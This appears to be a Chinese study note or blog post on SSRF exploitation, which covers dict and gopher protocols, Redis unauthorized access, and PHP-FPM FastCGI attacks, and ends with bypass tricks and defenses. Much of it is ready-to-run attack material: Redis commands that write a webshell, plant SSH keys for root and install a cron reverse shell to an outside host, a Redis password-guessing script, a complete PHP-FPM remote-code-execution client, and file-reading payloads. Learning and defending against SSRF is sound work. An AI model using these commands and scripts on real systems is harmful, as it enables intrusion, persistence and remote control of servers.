# SSRF
# 前置知识
# 1.dict 协议
dict 协议是一个在线网络字典协议,这个协议是用来架设一个字典服务的。可以看到用这个协议架设的服务可以用 telnet 来登陆,说明这个协议应该是基于 tcp 协议开发的。
![image-20220325164738004]()
我们输入 define [字典名] [单词] 这样的命令来获取一个单词的解释
比如说 define english hello
服务器就会返回对应的单词解释
对弈一些 tcp 协议,用 dict 方法可以打开,在有 waf 的情况下可以获取一些开放的服务信息
1 2 3 4 5 6 7 8 9 10 11
| <?php
// 文件名: main.php $url = "dict://localhost:3306"; // localhost:3306 上架设了我的 mysql 服务
$ch = curl_init($url); curl_exec($ch); curl_close($ch);
N 5.5.62-log=gnsw|+\��!�n5[KF\{wdo"Umysql_native_password!��#08S01Got packets out of order1
|
配合 burpsuite 可以进行端口扫描
# gopher 协议
gopher 协议是一种信息查找系统,他将 Internet 上的文件组织成某种索引,方便用户从 Internet 的一处带到另一处。在 WWW 出现之前, Gopher 是 Internet 上最主要的信息检索工具,Gopher 站点也是最主要的站点,使用 tcp70 端口。但在 WWW 出现后, Gopher 失去了昔日的辉煌。现在它基本过时,人们很少再使用它。
gopher 协议格式: gopher://IP:port/_{TCP/IP数据流}
gopher 可以接收 get 和 post 请求
1 2
| curl gopher://192.168.109.166:80/_GET%20/get.php%3fparam=Konmu%20HTTP/1.1%0d%0aHost:192.168.109.166%0d%0a curl gopher://192.168.194.1:80/_POST%20/post.php%20HTTP/1.1%0d%0AHost:192.168.194.1%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:12%0d%0A%0d%0Aname=purplet%0d%0A
|
ssrf + gopher 可以实现 Redis 未授权访问
1 2 3 4 5 6
| POST与GET传参的区别:它有4个参数为必要参数
POST /post.php HTTP/1.1 host:192.168.194.1 Content-Type:application/x-www-form-urlencoded Content-Length:12name=purplet
|
# ssrf + Redis 未授权访问
攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的 config 命令,可以进行写文件操作
攻击者可以成功将自己的 ssh 公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中,进而可以使用对应私钥直接使用 ssh 服务登录目标服务器。
简单说,漏洞的产生条件有以下两点:
(1)redis 绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源 ip 访问等相关安全策略,直接暴露在公网;
(2)没有设置密码认证(一般为空),可以免密码远程登录 redis 服务。
1. 启动 redis
1 2
| 可以指定配置文件启动(若不指定则以默认的配置文件启动): ./redis-server /etc/redis/redis.conf
|
安全模式起作用需要同时满足俩个条件:
(1) redis 没有开启登录认证
(2) redis 没有绑定到某个 ip 地址或 ip 段
redis 默认是未开启登录认证,开启安全模式的.
造成未授权访问有两种情况:
- 未开启登录验证,并且把 IP 绑定到 0.0.0.0
- 未开启登录验证,没有设置绑定 IP,
protected-mode 关闭
# 利用 Redis 写 webshell
通过设置目录后写入备份文件中
![img]()
1
| xxxxxxxxxx set x "\n\n<?php phpinfo();?>\n\n"
|
用 redis 写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。
或者使用
# 使用公钥私钥获取 root 权限
生成公私钥,默认路径为 /root/.ssh
本地生成私钥和公钥,将公钥写入备份文件,使用本地私钥登录
ssh-keygen -t rsa
1 2 3 4 5 6
| 修改工作路径 config set dir /root/.ssh config set dbfilename authorized_keys set pub "我们刚刚生成的公钥" 登录:ssh -i id_rsa root@172.16.60.166 id -> 得到root
|
# redis 未授权访问检测脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| #! /usr/bin/env python # _*_ coding:utf-8 _*_ import socket import sys PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin'] def check(ip, port, timeout): try: socket.setdefaulttimeout(timeout) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, int(port))) s.send("INFO\r\n") result = s.recv(1024) if "redis_version" in result: return u"未授权访问" elif "Authentication" in result: for pass_ in PASSWORD_DIC: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, int(port))) s.send("AUTH %s\r\n" %(pass_)) result = s.recv(1024) if '+OK' in result: return u"存在弱口令,密码:%s" % (pass_) except Exception, e: pass if __name__ == '__main__': ip=sys.argv[1] port=sys.argv[2] print check(ip,port, timeout=10)
|
# 利用任务计划反弹 shell
攻击者监听端口
nc -lvnp 4444
将备份放入任务计划中,同时将 crontab 内容写入文件
1
| set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/172.16.60.199/1234 0>&1\n\n"
|
1 2 3
| config set dir /var/spool/cron config set dbfilename root save
|
在反弹的 shell 中可以看数据库连接文件等,同时谁启动的 Redis 反弹就是谁的权限
# 利用 ssrf 中 curl 函数请求 Redis 未授权访问
gopher 协议支持发出 GET、POST 请求:可以先截获 get 请求包和 post 请求包,在构成符合 gopher 协议的请求。gopher 协议是 ssrf 利用中最强大的协议。而 curl_exec 也是 tcp 的因此可以实现
利用 gopherus.py
写入 webshell / 反弹 webshell
1 2 3 4
| python gopherus.py --exploit redis phpwebshell/reverseshell 需要写入的payload 得到最终的payload
|
注意:最后得到的 payload 如果从 url 输入需要二次编码,但使用 curl 命令就不需要
两次因为 gopher 解码一次,url 解码一次
# FastCGI,FPM 未授权访问
前置知识
1.fastcgi && fastcgi record
Fastcgi 其实是一个通信协议,和 HTTP 协议一样,都是进行数据交换的一个通道。
fastcgi 协议则是服务器中间件和某个语言后端进行数据交换的协议。Fastcgi 协议由多个 record 组成,record 也有 header 和 body 一说,服务器中间件将这二者按照 fastcgi 的规则封装好发送给语言后端,语言后端解码以后拿到具体数据,进行指定操作,并将结果再按照该协议封装好后返回给服务器中间件。
record 组成如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| typedef struct { /* Header */ unsigned char version; // 版本 unsigned char type; // 本次record的类型 unsigned char requestIdB1; // 本次record对应的请求id unsigned char requestIdB0; unsigned char contentLengthB1; // body体的大小 unsigned char contentLengthB0; unsigned char paddingLength; // 额外块大小 unsigned char reserved;
/* Body */ unsigned char contentData[contentLength]; unsigned char paddingData[paddingLength]; } FCGI_Record;
|
头由 8 个 uchar 类型的变量组成,每个变量 1 字节。其中, requestId 占两个字节,一个唯一的标志 id,以避免多个请求之间的影响; contentLength 占两个字节,表示 body 的大小。
语言端解析了 fastcgi 头以后,拿到 contentLength ,然后再在 TCP 流里读取大小等于 contentLength 的数据,这就是 body 体。一个 fastcgi record 结构最大支持的 body 大小是 2^16 ,也就是 65536 字节。
2.fastcgi type
type 就是指定该 record 的作用。因为 fastcgi 一个 record 的大小是有限的,作用也是单一的,所以我们需要在一个 TCP 流里传输多个 record。通过 type 来标志每个 record 的作用,用 requestId 作为同一次请求的 id。
![14931267923354.jpg]()
看了这个表格就很清楚了,服务器中间件和后端语言通信,第一个数据包就是 type 为 1 的 record,后续互相交流,发送 type 为 4、5、6、7 的 record,结束时发送 type 为 2、3 的 record。
3.php fpm
FPM 其实是一个 fastcgi 协议解析器,Nginx 等服务器中间件将用户请求按照 fastcgi 的规则打包好通过 TCP 传给谁?其实就是传给 FPM。
用户访问 http://127.0.0.1/index.php?a=1&b=2 ,如果 web 目录是 /var/www/html ,那么 Nginx 会将这个请求变成如下 key-value 对:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| { 'GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'GET', 'SCRIPT_FILENAME': '/var/www/html/index.php', 'SCRIPT_NAME': '/index.php', 'QUERY_STRING': '?a=1&b=2', 'REQUEST_URI': '/index.php?a=1&b=2', 'DOCUMENT_ROOT': '/var/www/html', 'SERVER_SOFTWARE': 'php/fcgiclient', 'REMOTE_ADDR': '127.0.0.1', 'REMOTE_PORT': '12345', 'SERVER_ADDR': '127.0.0.1', 'SERVER_PORT': '80', 'SERVER_NAME': "localhost", 'SERVER_PROTOCOL': 'HTTP/1.1' }
|
PHP-FPM 拿到 fastcgi 的数据包后,进行解析,得到上述这些环境变量。然后,执行 SCRIPT_FILENAME 的值指向的 PHP 文件,也就是 /var/www/html/index.php 。
# IIS7.0 解析漏洞
漏洞现象是,在用户访问 http://127.0.0.1/favicon.ico/.php 时,访问到的文件是 favicon.ico,但却按照.php 后缀解析了。
用户请求 http://127.0.0.1/favicon.ico/.php ,nginx 将会发送如下环境变量到 fpm 里:
1 2 3 4 5 6 7 8
| { ... 'SCRIPT_FILENAME': '/var/www/html/favicon.ico/.php', 'SCRIPT_NAME': '/favicon.ico/.php', 'REQUEST_URI': '/favicon.ico/.php', 'DOCUMENT_ROOT': '/var/www/html', ... }
|
正常来说, SCRIPT_FILENAME 的值是一个不存在的文件 /var/www/html/favicon.ico/.php ,是 PHP 设置中的一个选项 fix_pathinfo 导致了这个漏洞。PHP 为了支持 Path Info 模式而创造了 fix_pathinfo ,在这个选项被打开的情况下,fpm 会判断 SCRIPT_FILENAME 是否存在,如果不存在则去掉最后一个 / 及以后的所有内容,再次判断文件是否存在,往次循环,直到文件存在。
所以,第一次 fpm 发现 /var/www/html/favicon.ico/.php 不存在,则去掉 /.php ,再判断 /var/www/html/favicon.ico 是否存在。显然这个文件是存在的,于是被作为 PHP 文件执行,导致解析漏洞。
正确的解决方法有两种,一是在 Nginx 端使用 fastcgi_split_path_info 将 path info 信息去除后,用 tryfiles 判断文件是否存在;二是借助 PHP-FPM 的 security.limit_extensions 配置项,避免其他后缀文件被解析。
# fastcgi 未授权访问
PHP-FPM 默认监听 9000 端口,如果这个端口暴露在公网,则我们可以自己构造 fastcgi 协议,和 fpm 进行通信。
SCRIPT_FILENAME 的值就格外重要了。因为 fpm 是根据这个值来执行 php 文件的,如果这个文件不存在,fpm 会直接返回 404:
由于设置了 security.limit_extensions,其限定了只有某些后缀的文件允许被 fpm 执行,默认是 .php 。
由于这个配置项的限制,如果想利用 PHP-FPM 的未授权访问漏洞,首先就得找到一个已存在的 PHP 文件。
我们可以找找默认源安装后可能存在的 php 文件,比如 /usr/local/lib/php/PEAR.php 。
PHP.INI 中有两个有趣的配置项, auto_prepend_file 和 auto_append_file 。
auto_prepend_file 是告诉 PHP,在执行目标文件之前,先包含 auto_prepend_file 中指定的文件; auto_append_file 是告诉 PHP,在执行完成目标文件后,包含 auto_append_file 指向的文件。
那么就有趣了,假设我们设置 auto_prepend_file 为 php://input ,那么就等于在执行任何 php 文件前都要包含一遍 POST 的内容。所以,我们只需要把待执行的代码放在 Body 中,他们就能被执行了。(当然,还需要开启远程文件包含选项 allow_url_include )
那么,我们怎么设置 auto_prepend_file 的值?
这又涉及到 PHP-FPM 的两个环境变量, PHP_VALUE 和 PHP_ADMIN_VALUE 。这两个环境变量就是用来设置 PHP 配置项的, PHP_VALUE 可以设置模式为 PHP_INI_USER 和 PHP_INI_ALL 的选项, PHP_ADMIN_VALUE 可以设置所有选项。( disable_functions 除外,这个选项是 PHP 加载的时候就确定了,在范围内的函数直接不会被加载到 PHP 上下文中)
所以,我们最后传入如下环境变量:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| { 'GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'GET', 'SCRIPT_FILENAME': '/var/www/html/index.php', 'SCRIPT_NAME': '/index.php', 'QUERY_STRING': '?a=1&b=2', 'REQUEST_URI': '/index.php?a=1&b=2', 'DOCUMENT_ROOT': '/var/www/html', 'SERVER_SOFTWARE': 'php/fcgiclient', 'REMOTE_ADDR': '127.0.0.1', 'REMOTE_PORT': '12345', 'SERVER_ADDR': '127.0.0.1', 'SERVER_PORT': '80', 'SERVER_NAME': "localhost", 'SERVER_PROTOCOL': 'HTTP/1.1' 'PHP_VALUE': 'auto_prepend_file = php://input', 'PHP_ADMIN_VALUE': 'allow_url_include = On' }
|
设置 auto_prepend_file = php://input 且 allow_url_include = On ,然后将我们需要执行的代码放在 Body 中,即可执行任意代码。
利用脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255
| import socket import random import argparse import sys from io import BytesIO
PY2 = True if sys.version_info.major == 2 else False
def bchr(i): if PY2: return force_bytes(chr(i)) else: return bytes([i])
def bord(c): if isinstance(c, int): return c else: return ord(c)
def force_bytes(s): if isinstance(s, bytes): return s else: return s.encode('utf-8', 'strict')
def force_text(s): if issubclass(type(s), str): return s if isinstance(s, bytes): s = str(s, 'utf-8', 'strict') else: s = str(s) return s
class FastCGIClient: """A Fast-CGI Client for Python"""
__FCGI_VERSION = 1
__FCGI_ROLE_RESPONDER = 1 __FCGI_ROLE_AUTHORIZER = 2 __FCGI_ROLE_FILTER = 3
__FCGI_TYPE_BEGIN = 1 __FCGI_TYPE_ABORT = 2 __FCGI_TYPE_END = 3 __FCGI_TYPE_PARAMS = 4 __FCGI_TYPE_STDIN = 5 __FCGI_TYPE_STDOUT = 6 __FCGI_TYPE_STDERR = 7 __FCGI_TYPE_DATA = 8 __FCGI_TYPE_GETVALUES = 9 __FCGI_TYPE_GETVALUES_RESULT = 10 __FCGI_TYPE_UNKOWNTYPE = 11
__FCGI_HEADER_SIZE = 8
FCGI_STATE_SEND = 1 FCGI_STATE_ERROR = 2 FCGI_STATE_SUCCESS = 3
def __init__(self, host, port, timeout, keepalive): self.host = host self.port = port self.timeout = timeout if keepalive: self.keepalive = 1 else: self.keepalive = 0 self.sock = None self.requests = dict()
def __connect(self): self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.settimeout(self.timeout) self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) try: self.sock.connect((self.host, int(self.port))) except socket.error as msg: self.sock.close() self.sock = None print(repr(msg)) return False return True
def __encodeFastCGIRecord(self, fcgi_type, content, requestid): length = len(content) buf = bchr(FastCGIClient.__FCGI_VERSION) \ + bchr(fcgi_type) \ + bchr((requestid >> 8) & 0xFF) \ + bchr(requestid & 0xFF) \ + bchr((length >> 8) & 0xFF) \ + bchr(length & 0xFF) \ + bchr(0) \ + bchr(0) \ + content return buf
def __encodeNameValueParams(self, name, value): nLen = len(name) vLen = len(value) record = b'' if nLen < 128: record += bchr(nLen) else: record += bchr((nLen >> 24) | 0x80) \ + bchr((nLen >> 16) & 0xFF) \ + bchr((nLen >> 8) & 0xFF) \ + bchr(nLen & 0xFF) if vLen < 128: record += bchr(vLen) else: record += bchr((vLen >> 24) | 0x80) \ + bchr((vLen >> 16) & 0xFF) \ + bchr((vLen >> 8) & 0xFF) \ + bchr(vLen & 0xFF) return record + name + value
def __decodeFastCGIHeader(self, stream): header = dict() header['version'] = bord(stream[0]) header['type'] = bord(stream[1]) header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3]) header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5]) header['paddingLength'] = bord(stream[6]) header['reserved'] = bord(stream[7]) return header
def __decodeFastCGIRecord(self, buffer): header = buffer.read(int(self.__FCGI_HEADER_SIZE))
if not header: return False else: record = self.__decodeFastCGIHeader(header) record['content'] = b''
if 'contentLength' in record.keys(): contentLength = int(record['contentLength']) record['content'] += buffer.read(contentLength) if 'paddingLength' in record.keys(): skiped = buffer.read(int(record['paddingLength'])) return record
def request(self, nameValuePairs={}, post=''): if not self.__connect(): print('connect failure! please check your fasctcgi-server !!') return
requestId = random.randint(1, (1 << 16) - 1) self.requests[requestId] = dict() request = b"" beginFCGIRecordContent = bchr(0) \ + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \ + bchr(self.keepalive) \ + bchr(0) * 5 request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN, beginFCGIRecordContent, requestId) paramsRecord = b'' if nameValuePairs: for (name, value) in nameValuePairs.items(): name = force_bytes(name) value = force_bytes(value) paramsRecord += self.__encodeNameValueParams(name, value)
if paramsRecord: request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId) request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
if post: request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId) request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
self.sock.send(request) self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND self.requests[requestId]['response'] = b'' return self.__waitForResponse(requestId)
def __waitForResponse(self, requestId): data = b'' while True: buf = self.sock.recv(512) if not len(buf): break data += buf
data = BytesIO(data) while True: response = self.__decodeFastCGIRecord(data) if not response: break if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \ or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR: if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR: self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR if requestId == int(response['requestId']): self.requests[requestId]['response'] += response['content'] if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS: self.requests[requestId] return self.requests[requestId]['response']
def __repr__(self): return "fastcgi connect host:{} port:{}".format(self.host, self.port)
if __name__ == '__main__': parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.') parser.add_argument('host', help='Target host, such as 127.0.0.1') parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php') parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>') parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)
args = parser.parse_args()
client = FastCGIClient(args.host, args.port, 3, 0) params = dict() documentRoot = "/" uri = args.file content = args.code params = { 'GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'POST', 'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'), 'SCRIPT_NAME': uri, 'QUERY_STRING': '', 'REQUEST_URI': uri, 'DOCUMENT_ROOT': documentRoot, 'SERVER_SOFTWARE': 'php/fcgiclient', 'REMOTE_ADDR': '127.0.0.1', 'REMOTE_PORT': '12345', 'SERVER_ADDR': '127.0.0.1', 'SERVER_PORT': '80', 'SERVER_NAME': "localhost", 'SERVER_PROTOCOL': 'HTTP/1.1', 'CONTENT_TYPE': 'application/text', 'CONTENT_LENGTH': "%d" % len(content), 'PHP_VALUE': 'auto_prepend_file = php://input', 'PHP_ADMIN_VALUE': 'allow_url_include = On' } response = client.request(params, content) print(force_text(response))
|
又是参考 P 师傅的一天~
Fastcgi 协议分析 && PHP-FPM 未授权访问漏洞 && Exp 编写 | 离别歌 (leavesongs.com)
tarunkant/Gopherus: This tool generates gopher link for exploiting SSRF and gaining RCE in various servers (github.com)
SSRF–gopher 协议打 FastCGI_Z3eyOnd 的博客 - CSDN 博客_gopher fastcgi
# SSRF
SSRF (Server-Side Request Forgery: 服务器端请求伪造)
其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制
导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据
数据流:攻击者 -----> 服务器 ----> 目标地址
根据后台使用的函数的不同,对应的影响和利用方法又有不一样
1 2 3 4 5
| PHP中下面函数的使用不当会导致SSRF: file_get_contents() fsockopen() curl_exec()
|
但注意 curl_exec () 不支持 php://filter 等伪协议,支持 dict
但 file_get_contens () 支持 php://filter 伪协议读文件,不支持 dict
如果一定要通过后台服务器远程去对用户指定 (“或者预埋在前端的请求”) 的地址进行资源请求, 则请做好目标地址的过滤。
# pikachu - curl ssrf
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <? if(isset($_GET['url']) && $_GET['url'] != null){
//接收前端URL没问题,但是要做好过滤,如果不做过滤,就会导致SSRF $URL = $_GET['url']; $CH = curl_init($URL); curl_setopt($CH, CURLOPT_HEADER, FALSE); curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE); $RES = curl_exec($CH); curl_close($CH) ; //ssrf的问是:前端传进来的url被后台使用curl_exec()进行了请求,然后将请求的结果又返回给了前端。 //除了http/https外,curl还支持一些其他的协议curl --version 可以查看其支持的协议,telnet //curl支持很多协议,有FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE以及LDAP echo $RES;
}
|
1 2
| ?url=dict://127.0.0.1:3306 N 5.5.62-log=gnsw|+\��!�n5[KF\{wdo"Umysql_native_password!��#08S01Got packets out of order1
|
1
| ?url=file:///C:\Windows\system.ini
|
![image-20220325170713312]()
curl_init 只能用于 tcp 协议,因此可以用于读取文件或检测端口是否开启
# pikachu-file_get_contents ssrf
file_get_contents 可以接收 php 伪协议
1 2 3 4 5 6 7 8
| <? //读取PHP文件的源码:php://filter/read=convert.base64-encode/resource=ssrf.php //内网请求:http://x.x.x.x/xx.index if(isset($_GET['file']) && $_GET['file'] !=null){ $filename = $_GET['file']; $str = file_get_contents($filename); echo $str; }
|
1 2 3
| ?file=php://filter/read=convert.base64-encode/resource=C:\Windows\system.ini // OyBmb3IgMTYtYml0IGFwcCBzdXBwb3J0DQpbMzg2RW5oXQ0Kd29hZm9udD1kb3NhcHAuZm9uDQpFR0E4MFdPQS5GT049RUdBODBXT0EuRk9ODQpFR0E0MFdPQS5GT049RUdBNDBXT0EuRk9ODQpDR0E4MFdPQS5GT049Q0dBODBXT0EuRk9ODQpDR0E0MFdPQS5GT049Q0dBNDBXT0EuRk9ODQoNCltkcml2ZXJzXQ0Kd2F2ZT1tbWRydi5kbGwNCnRpbWVyPXRpbWVyLmRydg0KDQpbbWNpXQ0K
|
# pikachu-fsockopen ssrf
加载远程网站
# ssrf 防御
- 过滤开头不是 http://xxx.com 的所有链接,白名单限制 http/https 协议
- 过滤格式为 ip 的链接,比如 127.0.0.1
- 结尾必须是某个后缀
# 绕过
http://www.baidu.com@10.10.10.10 与 http://10.10.10.10 请求是相同的
172.16.60.166/curl.php?url=http://wwwbaidu.com@172.16.60.166/curl.php?url=http://www.google.com
绕过 IP 127.0.0.1 过滤
1. 变形
http://[::1]
http://[::ffff:7f00:1]
http://[::ffff:127.0.0.1]
http://127.1
http://127.0.1
http://0:80
2.ip 进制转换
转为 16 进制,或 10 进制,8 进制
3.16 进制网址编码
4.30x 重定向
防御
・禁止 302 跳转,或者每跳转一次都进行校验目的地址是否为内网地址或合法地址。
CURLOPT_FOLLOWLOCATION
・过滤返回信息,验证远程服务器对请求的返回结果,是否合法。
・禁用高危协议,例如:gopher、dict、ftp、file 等,只允许 http/https
・设置 URL 白名单或者限制内网 IP
・限制请求的端口为 http 的常用端口,或者根据业务需要治开放远程调用服务的端口
・catch 错误信息,做统一错误信息,避免黑客通过错误信息判断端口对应的服务